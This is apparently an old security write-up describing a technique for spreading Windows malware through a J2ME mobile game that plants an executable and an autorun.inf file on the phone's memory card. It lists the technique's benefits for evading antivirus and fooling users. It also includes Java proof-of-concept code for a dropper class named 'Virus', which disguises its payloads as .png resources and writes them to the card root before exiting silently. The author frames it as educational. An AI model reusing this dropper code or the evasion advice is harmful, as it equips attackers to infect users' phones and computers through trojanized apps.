Java 2 Micro Edition (J2ME OR Java ME) Based Computer Malware Propagation Technique.

Author: Aodrulez.

J2me Background Info:

J2me is a "Stripped-Down" version of the actual Java that runs on our Computers.This variant of Java is usually implemented on Handheld Devices & Mobile Devices... such as Mobile Phones,PDAs,Smart-Phones...you name it!

If you've ever played JAVA Based games on your Mobile Phone/Device..you already know how it looks like.All java based games & applications that are available for Mobile Phones belong to the "J2me" technology.

Technically... this is how the Propagation works:

Lets consider a simple Java enabled Mobile Phone.Now-a-days almost all mobile phones have got "Memory Cards" so that its storage capacity can be increased.And well...When you connect these kinds of phones to your computer to transfer your Multimedia files & other such documents,this is what happens:

1]Almost all Mobile Phone Brands when connected to PC, if they contain a Memory Card, make these Memory Cards availble as "Removable Storage Device".. just like what happens when we plug in a Pen-drive to our system.
2]Even if a card reader is used, the story is still the same.It still gets detected as a New Removable Drive.

And this beautiful Feature is what I've thought of Exploiting to Propagate a Malware.

How?

We've all heard about "Autorun.inf" based malwares.... hav'nt we? Hmm...this sounds interesting!So..if we could achieve this:
1] Some-how if we could dump a Malware & the corresponding "Autorun.inf" file(u guessed it! to execute our Malware!)..Windows should take care of the rest for us!

Now comes the most interesting part.....

Can we achieve the above objective using a Mobile Phone Based J2me Application/Game?
Apparently....Yes! We can make a simple Mobile Phone Game/App that when run on the Mobile phone can infect the "Memory Card" & subsequently the PC with a "Windows" based Malware!

How on earth is it possible?It can be done like this.....

1] Create a simple J2me application/game that contains both our Malware as well as the "Autorun.inf" file as "Resources".
2] When this application is run, it extracts these resources & places it in the "root" of the Memory Stick.
3] That way when the Mobile Phone is connected to the computer next time, this Malware might possibly be executed.

Benefits of this Technique of Propagation?

1] Its quite easy Technically to take almost any J2me application or game and embed a Malware & an Autorun.inf file & add a simple ".class" module which does the dirty work for us.It can be done in such a way that even after our modification, the app or game will look & work just fine.
2] As of now, no Antivirus Product or Any other such Anti-Malware product is capable of scanning Applications or games "installed" in a Mobile Device.Its going to be very tough to scan it this way because different Brands & even different Models of phones use different techniques to store these games & applications.
3] J2me applications come with a ".Jar" extension which is nothing but a "zipped" file.Thus no need to use packers in our Malware as "Size" is already taken care-of by J2me Technology!
4] Even if the "Autorun.inf" & Malware are deleted from the card... next time u run this game or application on ur phone, it'll be generated again..n again...unless the infected mobile game/app is deleted from the Mobile Device.
5] Even Rootkits can be technically Propagated this way!
6] Now-a-days almost all Mobile Devices support these (Java is Portable!), so the Impact can be very High!

Drawbacks:

1] Different technologies are used by different mobile Devices' Manufacturers.So it'll be a lil bit tough to create a Malware that avoids detection & still can work equally well on most of these brands.
2] Well, we all know that decompiling a ".class" to its actual ".java" file is no big deal...so it's very easy to detect these too.
3] J2me apps when trying to access Phones' filesystem, need the user's consent.But since everyone of us is fed-up of this feature, people just click "yes" all the time! But intelligent coding is required so that the alarms raised are as minimum as possible.

Proof Of Concept:

I've coded a Proof Of Concept J2me Based application that when installed & run by a Sony Ericsson Based phone, Infects its memory stick with a Simple Windows executable (Not malware!) & the corresponding "Autorun.inf" file.This phone then when connected to the Computer, infects it!(successfully tested).Since its hardcoded for SE phones,modifications are needed to make it work on different Brands of Mobile Phones.

So that clears all doubts regarding the "Pratical Usage" of this technique.

Ending Notes:

AV companies..watch-out! its goin to be a tough time ahead..with all these Mobile Devices around! This Document & the corresponding PoC were developed & published for educational Purposes & for warning the Security Professionals of a possible new way of Malware Propagation.I am in no way Liable or Responsible for any kind of misuse or harm caused due to the Information Published here.

PoC Code:

```
package aodrulez;
import java.io.*;
import java.util.*;
import javax.microedition.io.*;
import javax.microedition.midlet.*;
import javax.microedition.io.file.*;
import javax.microedition.lcdui.Alert;
import javax.microedition.lcdui.Display;
import javax.microedition.lcdui.Form;
import javax.microedition.lcdui.Gauge;
import javax.microedition.lcdui.Spacer;
import javax.microedition.lcdui.ImageItem;
import javax.microedition.lcdui.TextField;
import javax.microedition.lcdui.DateField;
import javax.microedition.lcdui.StringItem;
import javax.microedition.lcdui.ChoiceGroup;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import javax.microedition.io.Connector;
import javax.microedition.io.file.FileConnection;
import java.io.IOException;
import java.io.PrintStream;
import javax.microedition.lcdui.Image;
import javax.microedition.lcdui.Graphics;
import javax.microedition.lcdui.game.GameCanvas;
import javax.microedition.lcdui.Image;
import javax.microedition.lcdui.Choice;
import javax.microedition.lcdui.Display;
import javax.microedition.lcdui.Command;
import javax.microedition.midlet.MIDlet;
import javax.microedition.lcdui.Displayable;
import javax.microedition.lcdui.CommandListener;
import java.util.*;
import java.io.*;
import javax.microedition.io.*;
import javax.microedition.io.file.*;
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
import javax.microedition.rms.*;
import java.lang.String;

//Normal J2ME application's structure.
public class Virus extends MIDlet{

byte [] viruscode;

public Virus()
{
}
```

```
//Am not creating any UI ...just do the job n exit!
  protected void startApp() {
  try{
  viruscode=loadResource("/malware.png");}
 //malware.png is the name of my Windows Executable(can be Malware!) added as
//resource to avoid suspicion.

  catch(Exception e){
  System.out.println("Error!");
  }
      saveFile("file:///e:/","exyiv.exe");
// e:/ is the driveletter assigned to memory stick on Sony Ericsson Phones.So
//extracting the file to its root!
     try{

            viruscode=loadResource("/autorun.png");}
//autorun.png is the name of my Autorun.inf File added as resource to avoid
//suspicion.

  catch(Exception e){
  System.out.println("Error!");
  }
      saveFile("file:///e:/","autorun.inf");
       destroyApp(true); //Kill the app...since the phone is infected!


    }


          public void pauseApp() {}


          public void destroyApp(boolean condition) {
       notifyDestroyed();
   }
 //This is the function that extracts resources from the j2me app's resource folder
//into a Byte array.

   public byte [] loadResource(String resourceName) throws Exception
{
byte [] returnBytes = null;

try
{System.out.println("Attempting to load resource: ["+resourceName+"]");
InputStream ins = null;
if ((ins = getClass().getResourceAsStream(resourceName)) != null)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte [] nextByte= new byte[1];
```

```
while ((ins.read(nextByte,0,1))!=(-1))
{
baos.write(nextByte[0]);
}
if (baos.size() > 0)
{
returnBytes = baos.toByteArray();
System.out.println("Resource ["+resourceName+"] successfully loaded.
("+baos.size()+" bytes)");
}
}
}
catch(Exception e)
{returnBytes = null;
e.printStackTrace();
}
return returnBytes;
}
//this is the function that saves a file to a particular location we specify using the
//"Filesystem Api".
// We'll call this to dump our malwares to the root of the phones' memory Stick.


   private void saveFile(String path, String name) {
       try {
          String url = path + name;


          FileConnection fconn = (FileConnection)Connector.open(url,
Connector.READ_WRITE);
          if (!fconn.exists()) {
             fconn.create();
          }
          OutputStream ops = fconn.openOutputStream();
          ops.write(viruscode);
          ops.close();
          fconn.close();
       }
       catch (IOException ioe) {
          System.out.println("IOException: "+ioe.getMessage());
       }
       catch (SecurityException se) {
          System.out.println("Security exception:" + se.getMessage());
       }
    }
}
```

Special Thanks to:
Amforked() :My Mentor.
LiquidWorm & Jeremy Brown :For being so nice to a noob like me!
www.OrchidSeven.com :For givin me this beautiful opportunity.

My contact Details:
Email me at: f3arm3d3ar@gmail.com
Blog : http://aodrulez.blogspot.com